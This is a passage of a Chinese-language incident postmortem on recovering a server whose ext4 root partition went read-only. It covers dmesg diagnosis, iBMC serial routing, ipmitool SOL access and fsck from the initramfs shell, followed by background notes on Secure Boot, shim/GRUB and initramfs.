&lt;tr&gt;&lt;td&gt;9&#x2F;7 00:25:27&lt;&#x2F;td&gt;&lt;td&gt;&#x2F;dev&#x2F;sda 块层 I&#x2F;O 错误（WRITE + DISCARD）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;9&#x2F;7 00:25:28&lt;&#x2F;td&gt;&lt;td&gt;ext4 检测 journal abort，内核自动重挂根分区分只读&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;9&#x2F;7 ~ 9&#x2F;8&lt;&#x2F;td&gt;&lt;td&gt;系统&quot;带病运行&quot;约 39 小时（journald 持续报 Read-only，服务仍在内存里跑）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;9&#x2F;8 18:2x&lt;&#x2F;td&gt;&lt;td&gt;计划在 :8001 做单卡&#x2F;双卡 TP 压测 → 发现 docker exec 报 read-only → 定位根分区 RO&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;9&#x2F;8 19:0x&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;systemctl reboot&lt;&#x2F;code&gt; 触发（系统关机卡在 libvirt inhibitor，约 20 分钟后真正重启）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;9&#x2F;8 20:02&lt;&#x2F;td&gt;&lt;td&gt;主机重启，EFI → 内核接管后无网络（VGA 黑屏）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;9&#x2F;8 20:40&lt;&#x2F;td&gt;&lt;td&gt;经 BMC 强制断电再开机，仍无网络（其实是停在 initramfs 等 fsck）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;9&#x2F;8 20:5x~21:4x&lt;&#x2F;td&gt;&lt;td&gt;IPMI 系列排查（视频&#x2F;CLP&#x2F;SOL 全试），最终靠串口采集包拿到启动日志&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;9&#x2F;8 22:1x&lt;&#x2F;td&gt;&lt;td&gt;ipmitool SOL 直连 → 发现 BusyBox &lt;code&gt;(initramfs)&lt;&#x2F;code&gt; → &lt;code&gt;fsck.ext4 -fy&lt;&#x2F;code&gt; 修复&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;9&#x2F;8 22:23&lt;&#x2F;td&gt;&lt;td&gt;重启成功，端口 22 恢复，根分区 rw、fs clean&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;san-shi-gu-fa-xian-yi-ge-docker-exec-bao-read-only-de-xian-suo&quot;&gt;三、事故发现：一个&quot;docker exec 报 read-only&quot;的线索&lt;&#x2F;h1&gt;
&lt;p&gt;即将开始压测时，先做一次服务状态盘点，命令本身暴露了异常：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 对容器执行运行时操作，报错：
# OCI runtime exec failed: open &amp;#x2F;tmp&amp;#x2F;runc-process1480382453: read-only file system
docker rm -f &amp;lt;服务容器&amp;gt;    # cannot remove container: read-only file system
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;随后系统级检查直指根因：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;mount | grep &amp;quot; &amp;#x2F; &amp;quot;
# &amp;#x2F;dev&amp;#x2F;sda2 on &amp;#x2F; type ext4 (ro,relatime)   ← 根分区只读！
df -hT &amp;#x2F;                                # 显示 &amp;#x2F;dev&amp;#x2F;sda2 有 328G 可用——df 不看挂载选项，容易误判
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;教训 1&lt;&#x2F;strong&gt;：&lt;code&gt;df&lt;&#x2F;code&gt; 显示&quot;可用空间正常&quot;不代表可写；判断可写性要看 &lt;code&gt;mount&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;findmnt&lt;&#x2F;code&gt; 的 &lt;code&gt;ro&#x2F;rw&lt;&#x2F;code&gt; 选项。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;si-gen-yin-pai-cha-dmesg-yi-chui-ding-yin&quot;&gt;四、根因排查：dmesg 一锤定音&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;4-1-san-ge-guan-jian-zheng-ju&quot;&gt;4.1 三个关键证据&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# ① 块层错误（真凶）
dmesg -T | grep -iE &amp;quot;blk_update|i&amp;#x2F;o error&amp;quot;
# [9&amp;#x2F;7 00:25:27] blk_update_request: I&amp;#x2F;O error, dev sda, sector 466055824 op 0x3:(DISCARD)
# [9&amp;#x2F;7 00:25:27] blk_update_request: I&amp;#x2F;O error, dev sda, sector 491035880 op 0x1:(WRITE)
# [9&amp;#x2F;7 00:25:27] blk_update_request: I&amp;#x2F;O error, dev sda, sector 491035880 op 0x1:(WRITE)

# ② 日志中止 → 内核自我保护
dmesg -T | grep -iE &amp;quot;aborted|Remounting&amp;quot;
# [9&amp;#x2F;7 00:25:28] EXT4-fs error (device sda2): ext4_journal_check_start:83: comm systemd-journal: Detected aborted journal
# [9&amp;#x2F;7 00:25:28] EXT4-fs (sda2): Remounting filesystem read-only   （连续两行）

# ③ 文件系统元数据损伤
tune2fs -l &amp;#x2F;dev&amp;#x2F;sda2 | grep -E &amp;quot;Filesystem state|Errors behavior&amp;quot;
# Filesystem state:         clean with errors   ← 错误标记挡住 remount,rw
# Errors behavior:          Continue
blockdev --getro &amp;#x2F;dev&amp;#x2F;sda2; cat &amp;#x2F;sys&amp;#x2F;block&amp;#x2F;sda&amp;#x2F;ro   # 0 &amp;#x2F; 0 —— 设备层没写保护，纯文件系统层问题

e2fsck -fn &amp;#x2F;dev&amp;#x2F;sda2   (只读预检，安全)
# Inode bitmap differences ... Block bitmap differences: Group 1977 block bitmap does not match checksum.
# &amp;#x2F;dev&amp;#x2F;sda2: WARNING: Filesystem still has errors
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;结论链条：&lt;strong&gt;块层 WRITE 失败 → JBD2 日志中止 → 内核重挂 RO → ext4 记录&quot;errors&quot;状态 → &lt;code&gt;mount -o remount,rw&lt;&#x2F;code&gt; 被内核拒绝（报 is write-protected）→ 必须 fsck 清错误&lt;&#x2F;strong&gt;。同时确认：磁盘没有 RAID 保护（&#x2F;dev&#x2F;sda 单盘直连），任何坏区都是致命的。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;4-2-wei-shen-me-bu-neng-zai-xian-xiu-fu&quot;&gt;4.2 为什么不能在线修复&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;根分区正被内核独占挂载，&lt;code&gt;e2fsck&lt;&#x2F;code&gt; 无法离线执行；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;tune2fs -c 1&lt;&#x2F;code&gt;（让下次挂载强制 fsck）+ &lt;code&gt;reboot&lt;&#x2F;code&gt; 是正路，但远程执行的 &lt;code&gt;systemctl reboot&lt;&#x2F;code&gt; 卡在 &lt;strong&gt;libvirt 的 shutdown inhibitor&lt;&#x2F;strong&gt;（&quot;Virtual machines need to be saved&quot;，保存 VM 写盘时又碰上 RO），约二十分钟后关机才真正发生；&lt;&#x2F;li&gt;
&lt;li&gt;重启后内核照常接管，但 VGA 黑屏、无网络——第一次误判为&quot;fsck 卡死&#x2F;内核挂死&quot;，其实机器好的，只是&lt;strong&gt;在 initramfs 里等人工确认&lt;&#x2F;strong&gt;（详见第五节）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;wu-ipmi-pai-cha-shi-pin-kong-zhi-tai-mei-hua-mian-de-zhen-xiang-rao-guo-zhong-ju&quot;&gt;五、IPMI 排查：视频控制台&quot;没画面&quot;的真相 + 绕过终局&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;5-1-wei-shen-me-ipmi-kvm-kan-bu-dao-qi-dong-hua-mian&quot;&gt;5.1 为什么 IPMI KVM 看不到启动画面&lt;&#x2F;h2&gt;
&lt;p&gt;BMC（iBMC 3.03）视频控制台 &#x2F; KVM 只镜像&lt;strong&gt;显卡&#x2F;VGA&lt;&#x2F;strong&gt;输出：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;EFI stub: Booting Linux Kernel...
EFI stub: Using DTB from configuration table
EFI stub: Exiting boot services...
（之后黑屏）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这行 EFI stub 是 UEFI&#x2F;EfiStub 用图形控制台打的最后输出；&lt;strong&gt;内核接管后默认走串口（ttyS0）&lt;&#x2F;strong&gt;，VGA 就再也没内容了——不是 IPMI 没用，是&quot;音频源&quot;开着串口，看错了窗口。这是 ARM 服务器（鲲鹏）的典型配置。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;5-2-ibmc-tan-suo-yi-lun-sol-ke-hu-duan-quan-que-xi&quot;&gt;5.2 iBMC 探索一轮：SOL 客户端全缺席&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;尝试&lt;&#x2F;th&gt;&lt;th&gt;结论&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Web 远程控制台 kvm_h5&lt;&#x2F;td&gt;&lt;td&gt;只有视频+工具栏，图标全是 icon-font，DOM 里没有&quot;串口&quot;切换项；我的浏览器页面 &lt;code&gt;Frame:0&#x2F;Send:0&#x2F;Recv:0&lt;&#x2F;code&gt;（第二个视频会话拿不到流）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Web 端口服务页&lt;&#x2F;td&gt;&lt;td&gt;未提供 SOL 端口信息（该机型固件无此功能）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;iBMC SSH CLP&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;sol&lt;&#x2F;code&gt; → &lt;code&gt;COMMAND NOT SUPPORTED&lt;&#x2F;code&gt;；&lt;code&gt;help&lt;&#x2F;code&gt; 只列 ipmcget&#x2F;ipmcset&#x2F;…；无串口命令&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;ipmcset -d serialdir&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;有！&lt;&#x2F;strong&gt; 选项表看清了串口方向矩阵：&lt;code&gt;0 PANEL↔SYS&lt;&#x2F;code&gt;（默认，物理面板）、&lt;code&gt;1 PANEL↔BMC&lt;&#x2F;code&gt;、&lt;code&gt;2 SOL COM↔SYS COM&lt;&#x2F;code&gt;、&lt;code&gt;254 关闭&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;ipmcget -d systemcom&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;下载系统串口采集包（最近 2MB 环，存 BMC 本地 &#x2F;tmp&#x2F;systemcom.tar）——&lt;strong&gt;这是本事故的破局点&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;5-3-po-ju-chuan-kou-fang-xiang-qie-dao-sol-cai-ji-bao-ti-qu&quot;&gt;5.3 破局：串口方向切到 SOL + 采集包提取&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;ipmcset -d serialdir -v 2&lt;&#x2F;code&gt;（SOL COM↔SYS COM）→ 此后机器的串口输出会&lt;strong&gt;灌进 BMC 的采集环&lt;&#x2F;strong&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ipmcget -d systemcom&lt;&#x2F;code&gt; → BMC 打包 &lt;code&gt;&#x2F;tmp&#x2F;systemcom.tar&lt;&#x2F;code&gt;（2MB）；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;SFTP 取文件&lt;&#x2F;strong&gt;（iBMC 的 SSH ControlMaster 复用，无需再输密码）：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;tmux new-session -d -s cm &amp;#x27;cd &amp;#x2F;tmp &amp;amp;&amp;amp; sftp Administrator@192.168.6.100&amp;#x27;
# sftp&amp;gt; cd &amp;#x2F;tmp; get systemcom.tar     → 本地拿到 2MB
tar -xf systemcom.tar &amp;amp;&amp;amp; strings systemcom.dat | tail -60
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;&lt;strong&gt;启动日志最后一屏直接掀翻所有猜测&lt;&#x2F;strong&gt;：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre&gt;&lt;code&gt;Begin: Will now check root file system ... fsck.ext4 -a -C0 &amp;#x2F;dev&amp;#x2F;sda2
&amp;#x2F;dev&amp;#x2F;sda2 contains a file system with errors, check forced.
&amp;#x2F;dev&amp;#x2F;sda2: |                0.1%
&amp;#x2F;dev&amp;#x2F;sda2: Inodes that were part of a corrupted orphan linked list found.
&amp;#x2F;dev&amp;#x2F;sda2: UNEXPECTED INCONSISTENCY; RUN fsck MANUALLY.  (i.e., without -a or -p options)
fsck exited with status code 4
Failure: File system check of the root filesystem failed
The root filesystem on &amp;#x2F;dev&amp;#x2F;sda2 requires a manual fsck
BusyBox v1.30.1 (Ubuntu 1:1.30.1-7ubuntu3.1) built-in shell (ash)
Enter &amp;#x27;help&amp;#x27; for a list of built-in commands
(initramfs)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;机器&lt;strong&gt;根本没死&lt;&#x2F;strong&gt;：initramfs 里 &lt;code&gt;fsck.ext4 -a&lt;&#x2F;code&gt;（自动模式）遇到&quot;UNEXPECTED INCONSISTENCY&quot;不会擅自修复 → 状态码 4 → drop 到 &lt;strong&gt;BusyBox 交互 shell 等人工 fsck&lt;&#x2F;strong&gt;。注意：此时内核已在跑，所以 BMC 的&quot;Power state On&quot;、EFI&#x2F;VGA 黑屏、端口 22 不通，全部自洽了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;教训 2&lt;&#x2F;strong&gt;：&lt;code&gt;fsck.ext4 -a&lt;&#x2F;code&gt; 不等于 &lt;code&gt;-y&lt;&#x2F;code&gt;。生产上 initramfs 卡在 &lt;code&gt;(initramfs)&lt;&#x2F;code&gt; 提示符时，先看控制台（串口&#x2F;SOL&#x2F;采集包），机器往往只是要你带 &lt;code&gt;-y&lt;&#x2F;code&gt; 再跑一次。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;5-4-zui-hou-yi-gong-li-ipmitool-sol-zhi-lian&quot;&gt;5.4 最后一公里：ipmitool SOL 直连&lt;&#x2F;h2&gt;
&lt;p&gt;Web 和 CLP 都没有 SOL 通道，但 &lt;strong&gt;IPMI LAN SOL 协议还在&lt;&#x2F;strong&gt;——用 ipmitool 走 lanplus 即可，密码也是 BMC 的 Administrator 密码（输密码时无回显，不会暴露）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 本地机安装 ipmitool（1.8.19）后，tmux 里起会话让用户在屏幕上输密码
ipmitool -I lanplus -H 192.168.6.100 -U Administrator sol activate
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;连上后 &lt;code&gt;(initramfs)&lt;&#x2F;code&gt; 就在眼前——&lt;strong&gt;这回是真正能输入输出串口控制台&lt;&#x2F;strong&gt;。执行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;fsck.ext4 -fy &amp;#x2F;dev&amp;#x2F;sda2
# Fix? yes  × 若干轮
# &amp;#x2F;dev&amp;#x2F;sda2: 1188994&amp;#x2F;30457856 files, 29874374&amp;#x2F;121820928 blocks  （10-20 秒完成，无坏块挂死！）
sync &amp;amp;&amp;amp; reboot -f
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;20 秒修完——&lt;strong&gt;之前&quot;fsck 卡死几小时&quot;的假设是错的，纯粹是停在提示符等人&lt;&#x2F;strong&gt;。盘虽然坏了一次写，元数据修复后整体可用。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;liu-ke-fu-yong-su-cha&quot;&gt;六、可复用速查&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# ① 确认根分区 RO
mount | grep &amp;quot; &amp;#x2F; &amp;quot;

# ② 找真凶
dmesg | grep -iE &amp;quot;blk_update_request.*I&amp;#x2F;O error|aborted journal|Remounting&amp;quot;

# ③ 评估修到哪一步
tune2fs -l &amp;#x2F;dev&amp;#x2F;sda2 | grep -E &amp;quot;Filesystem state|Errors behavior&amp;quot;   # clean with errors = 需 fsck
e2fsck -fn &amp;#x2F;dev&amp;#x2F;sda2                    # 只读预检（安全）
blockdev --getro &amp;#x2F;dev&amp;#x2F;sda2; cat &amp;#x2F;sys&amp;#x2F;block&amp;#x2F;sda&amp;#x2F;ro

# ④ 路由串口到 SOL（iBMC）
ipmcset -d serialdir -v 2   # SOL COM↔SYS COM（0=PANEL↔SYS 物理面板，用完切回）

# ⑤ 拉串口采集包（BMC 已录最近 2MB 串口输出）
ipmcget -d systemcom        # 生成 &amp;#x2F;tmp&amp;#x2F;systemcom.tar（BMC 侧）
sftp Administrator@&amp;lt;bmc-ip&amp;gt;; cd &amp;#x2F;tmp; get systemcom.tar

# ⑥ 直连 SOL 键盘交互
ipmitool -I lanplus -H &amp;lt;bmc-ip&amp;gt; -U Administrator sol activate
# → (initramfs) 里: fsck.ext4 -fy &amp;#x2F;dev&amp;#x2F;sda2 &amp;amp;&amp;amp; sync &amp;amp;&amp;amp; reboot -f
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;qi-yan-shen-zhe-qi-shi-gu-yin-chu-de-liang-ge-wei-shen-me-grub-yu-initramfs&quot;&gt;七、延伸：这起事故引出的两个&quot;为什么&quot;（GRUB 与 initramfs）&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;7-1-wei-shen-me-qi-dong-yao-guo-liang-ge-efi-cheng-xu-shim-grub&quot;&gt;7.1 为什么启动要过&quot;两个 EFI 程序&quot;（shim → grub）？&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;背景&lt;&#x2F;strong&gt;：UEFI Secure Boot 开启时，固件只执行&quot;白名单签名&quot;的 EFI 程序（主板出厂烙有板厂 CA + Microsoft UEFI CA）。Linux 发行版的 grubaa64.efi、vmlinuz 用发行版自己的密钥签名，固件不认 → 直接加载 grub 会被拒绝。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;shim 的由来与作用&lt;&#x2F;strong&gt;：微软为第三方发行版开的&quot;前门&quot;（GPL，Red Hat 维护，微软 UEFI CA 签名）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;固件（信任：微软 UEFI CA）→ shimaa64.efi（微软 CA 签，全主板都认）
       → shim 内嵌发行版 CA key（Canonical）→ 验签加载 grubaa64.efi
       → grub 经 shim 验证接口（shim lock）验签加载 vmlinuz
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;好处：内核高频更换不用重新过微软审核；发行版只维护一个信任锚（CA）；shim 还提供 &lt;strong&gt;MOK&lt;&#x2F;strong&gt;（Machine Owner Key，&lt;code&gt;mokutil&lt;&#x2F;code&gt; 导入自签密钥即可在 SB 下跑第三方内核&#x2F;驱动）。&lt;&#x2F;li&gt;
&lt;li&gt;这就是&quot;两段 EFI&quot;的根因：&lt;strong&gt;固件信任的不是 grub，而是微软签的 shim&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;本机实测（Secure Boot 关闭，shim 退化为直通）&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;efibootmgr -v
# BootCurrent: 0004
# Boot0004* ubuntu   → File(\EFI\ubuntu\shimaa64.efi)          ← 当前（Ubuntu 安装器固定以 shim 开链）
# Boot0002* Uefi Debian Grub Boot → File(\EFI\debian\grubaa64.efi)  ← 裸 grub 入口（SB 开启后将失效）

sudo mokutil --sb-state              # SecureBoot disabled（本机）
sudo dmesg | grep -iE &amp;quot;secureboot|secure boot&amp;quot; | head
ls &amp;#x2F;boot&amp;#x2F;efi&amp;#x2F;EFI&amp;#x2F;ubuntu&amp;#x2F;             # shimaa64.efi &amp;#x2F; grubaa64.efi &amp;#x2F; grub.cfg
cat &amp;#x2F;boot&amp;#x2F;efi&amp;#x2F;EFI&amp;#x2F;ubuntu&amp;#x2F;grub.cfg    # 实际指向 &amp;#x2F;boot&amp;#x2F;grub&amp;#x2F;grub.cfg
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;Secure Boot 查看&#x2F;管理相关命令速查&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# —— 查看 ——
mokutil --sb-state                            # enabled &amp;#x2F; disabled
efibootmgr -v                                 # 启动条目、BootCurrent、TimeOut
dmesg | grep -iE &amp;quot;secureboot|secure boot&amp;quot;     # 内核声明
cat &amp;#x2F;sys&amp;#x2F;firmware&amp;#x2F;efi&amp;#x2F;efivars&amp;#x2F;SecureBoot-*    # 原始变量（8 字节，末尾 ff 为开）

# —— 管理（建议手动在固件 UI 改，命令行仅作应急）——
sudo efibootmgr -o 0004,0002,0000,0001        # 调整 BootOrder
sudo efibootmgr -n 0004                       # 一次性 BootNext（下次启动有效）
sudo efibootmgr -b 0004 -n                    # 临时禁用某条目（加回用 -a）
sudo mokutil --import &amp;lt;my-key&amp;gt;.der            # 导入 MOK（重启后在 MOK 界面确认&amp;#x2F;输入口令）
sudo mokutil --list-enrolled                  # 已导入的自签密钥
sudo mokutil --disable-validation             # 关闭 shim 对内核的验证（草率，不推荐）

# —— 安装&amp;#x2F;重建引导（确认签名链）——
sudo grub-install --efi-directory=&amp;#x2F;boot&amp;#x2F;efi --bootloader-id=ubuntu
sudo update-grub                               # 或 grub2-mkconfig -o &amp;#x2F;boot&amp;#x2F;grub&amp;#x2F;grub.cfg
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;⚠️ 本机 cmdline 没有 &lt;code&gt;console=&lt;&#x2F;code&gt;，内核控制台来自 DTB &lt;code&gt;stdout-path&lt;&#x2F;code&gt;（串口）——这正是&quot;IPMI 视频只有 EFI 三行、串口才有内核日志&quot;的机制来源。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;7-2-wei-shen-me-zhong-qi-hou-ting-zai-busybox-initramfs-de-lin-shi-yong-hu-tai&quot;&gt;7.2 为什么重启后停在 BusyBox？—— initramfs 的&quot;临时用户态&quot;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;完整启动阶段&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;UEFI 固件（Boot0004）→ shim → grub（菜单 10s）→ vmlinuz&amp;#x2F;initrd.img
  → 内核：CPU&amp;#x2F;内存&amp;#x2F;驱动初始化（日志 CPU53-57 Booted，约 20s）
  → 解压 initramfs 为 &amp;#x2F; 上的 tmpfs → 执行 &amp;#x2F;init（initramfs-tools 的 shell 脚本）  ← 已进入&amp;quot;用户态①&amp;quot;
  → &amp;#x2F;init：加载驱动 → 挂载根盘前先做 fsck 检查
  → fsck.ext4 -a 发现 UNEXPECTED INCONSISTENCY（roots: -a 不自动修，exit 4）
  → 判&amp;quot;根文件系统需要人工 fsck&amp;quot; → drop 到 BusyBox ash：(initramfs)  ← 用户态① 的救援 shell
  → （人工 fsck 修复后 reboot →）再走一遍：挂根盘 → systemd → 完整用户态② → 网络
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;要点&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;(initramfs)&lt;&#x2F;code&gt; &lt;strong&gt;是用户态&lt;&#x2F;strong&gt;（busybox 程序在跑），但只是 &lt;strong&gt;initramfs&#x2F;临时用户态&lt;&#x2F;strong&gt;：根文件系统&lt;strong&gt;未挂载&lt;&#x2F;strong&gt;，systemd、网络、账号、磁盘分区全都不存在 → 端口 22 不通、VGA 黑屏（日志走串口），看起来&quot;死机&quot;其实在等你敲命令；&lt;&#x2F;li&gt;
&lt;li&gt;卡住的直接原因：&lt;code&gt;fsck.ext4 -a&lt;&#x2F;code&gt;（auto 模式）对&quot;意外的文件系统不一致&quot;选择&lt;strong&gt;拒绝修复&lt;&#x2F;strong&gt;（状态码 4），Ubuntu initramfs 策略规范（不自动修复 on-disk 不一致），drop 到 BusyBox 的脚本行为是 &lt;code&gt;run-init.sh&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;boot-*.sh&lt;&#x2F;code&gt; 内置逻辑；&lt;&#x2F;li&gt;
&lt;li&gt;BusyBox 来自 initramfs-tools 依赖的 &lt;code&gt;busybox-initramfs&lt;&#x2F;code&gt; 包（Ubuntu 救援 shell 标准件）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;相关命令&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# —— 查看 initramfs 内部（无需启动）——
lsinitramfs &amp;#x2F;boot&amp;#x2F;initrd.img-$(uname -r) | head -30      # 列出镜像目录树
unmkinitramfs &amp;#x2F;boot&amp;#x2F;initrd.img-5.15.0-107-generic &amp;#x2F;tmp&amp;#x2F;ird   # 解包到目录
zcat &amp;#x2F;boot&amp;#x2F;initrd.img-* | cpio -it | grep -i busybox      # 找 busybox

# —— 调试用启动参数（临时改 grub 菜单的 linux 行，按 e 编辑）——
# rdinit=&amp;#x2F;bin&amp;#x2F;bash          # 跳过 init 脚本直达 bash（最后手段）
# init=&amp;#x2F;bin&amp;#x2F;bash            # 根盘挂载后直接 bash
# console=ttyS0,115200      # 强制串口（本机虽无 console=，DTB 已指向串口）

# —— fsck 相关（发现&amp;#x2F;修复状态）——
tune2fs -l &amp;#x2F;dev&amp;#x2F;sda2 | grep -E &amp;quot;Filesystem state|Errors behavior|Last checked&amp;quot;
e2fsck -n &amp;#x2F;dev&amp;#x2F;sda2        # dry-run 预检；-fy 实际修复；-a 自动模式（不处理不一致）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;7-3-chuan-kou-sol-chang-jian-faq-shi-cao-xi-jie&quot;&gt;7.3 串口&#x2F;SOL 常见 FAQ（实操细节）&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;Q1：物理串口和 IPMI SOL 只能有一个激活吗？&lt;&#x2F;strong&gt;
对。BMC 里 SYS COM 的信号&lt;strong&gt;一次只能接一个出口&lt;&#x2F;strong&gt;（面板 &#x2F; BMC 本地 &#x2F; SOL 网络），&lt;code&gt;serialdir&lt;&#x2F;code&gt; 方向值 0（面板）与 2（SOL）互斥。不是权限限制，是这套物理 mux 的机械事实——同一根&quot;串口线&quot;总得先连到一个地方。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Q2：iBMC 是&quot;四口串口交换机&quot;是什么意思？内核知道输出去了哪吗？&lt;&#x2F;strong&gt;
